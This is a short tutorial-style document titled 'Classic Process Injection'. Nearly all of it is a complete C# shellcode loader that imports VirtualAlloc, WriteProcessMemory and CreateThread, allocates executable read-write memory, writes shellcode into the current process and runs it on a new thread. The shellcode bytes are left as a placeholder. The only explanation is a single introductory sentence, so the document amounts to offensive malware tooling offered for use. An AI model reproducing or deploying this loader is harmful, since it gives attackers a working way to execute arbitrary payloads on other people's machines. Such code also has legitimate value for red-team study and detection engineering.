Classic Process Injection

The most vanilla form of process injection uses the VirtualAlloc, WriteProcessMemory, and CreateThread APIs. This will inject and execute the shellcode in the running process.

internal class ClassicInjection
 {
     [DllImport("kernel32.dll", SetLastError = true)]
     static extern IntPtr VirtualAlloc(
         IntPtr lpAddress,
         uint dwSize,
         uint flAllocationType,
         uint flProtect);
    [DllImport("kernel32.dll", SetLastError = true)]
     static extern bool WriteProcessMemory(
         IntPtr hProcess,
         IntPtr lpBaseAddress,
         byte[] lpBuffer,
         uint nSize,
         out IntPtr lpNumberOfBytesWritten);
    [DllImport("kernel32.dll", SetLastError = true)]
     static extern IntPtr CreateThread(
         IntPtr lpThreadAttributes,
         uint dwStackSize,
         IntPtr lpStartAddress,
         IntPtr lpParameter,
         uint dwCreationFlags,
         out uint lpThreadId);
    [DllImport("kernel32.dll", SetLastError = true)]
     static extern uint WaitForSingleObject(
         IntPtr hHandle,
         uint dwMilliseconds);
    [DllImport("kernel32.dll", SetLastError = true)]
     static extern bool CloseHandle(IntPtr hObject);
    const uint MEM_COMMIT = 0x1000;
     const uint MEM_RESERVE = 0x2000;
     const uint PAGE_EXECUTE_READWRITE = 0x40;
     const uint INFINITE = 0xFFFFFFFF;
   static void Main(string[] args)
     {
         byte[] shellcode = new byte[] { /* shellcode bytes */ };
        IntPtr hMemory = VirtualAlloc(
             IntPtr.Zero,
             (uint)shellcode.Length,
             MEM_COMMIT | MEM_RESERVE,
             PAGE_EXECUTE_READWRITE);
        if (hMemory == IntPtr.Zero)
             throw new Exception($"VirtualAlloc unsuccessful. Error: {Marshal.GetLastWin32Error()}");
        unsafe
         {
             if (!WriteProcessMemory(
                 (IntPtr)(-1),                 // GetCurrentProcess() = pseudo-handle -1
                 hMemory,
                 shellcode,
                 (uint)shellcode.Length,
                 out IntPtr bytesWritten))
                 throw new Exception($"WriteProcessMemory unsuccessful. Error: {Marshal.GetLastWin32Error()}");
         }
 
        uint threadId = 0;
         IntPtr hThread = CreateThread(
             IntPtr.Zero,
             0,
             hMemory,
             IntPtr.Zero,
             0,
             out threadId);
        if (hThread == IntPtr.Zero)
             throw new Exception($"CreateThread unsuccessful. Error: {Marshal.GetLastWin32Error()}");
        WaitForSingleObject(hThread, INFINITE);
        CloseHandle(hThread);
     }
}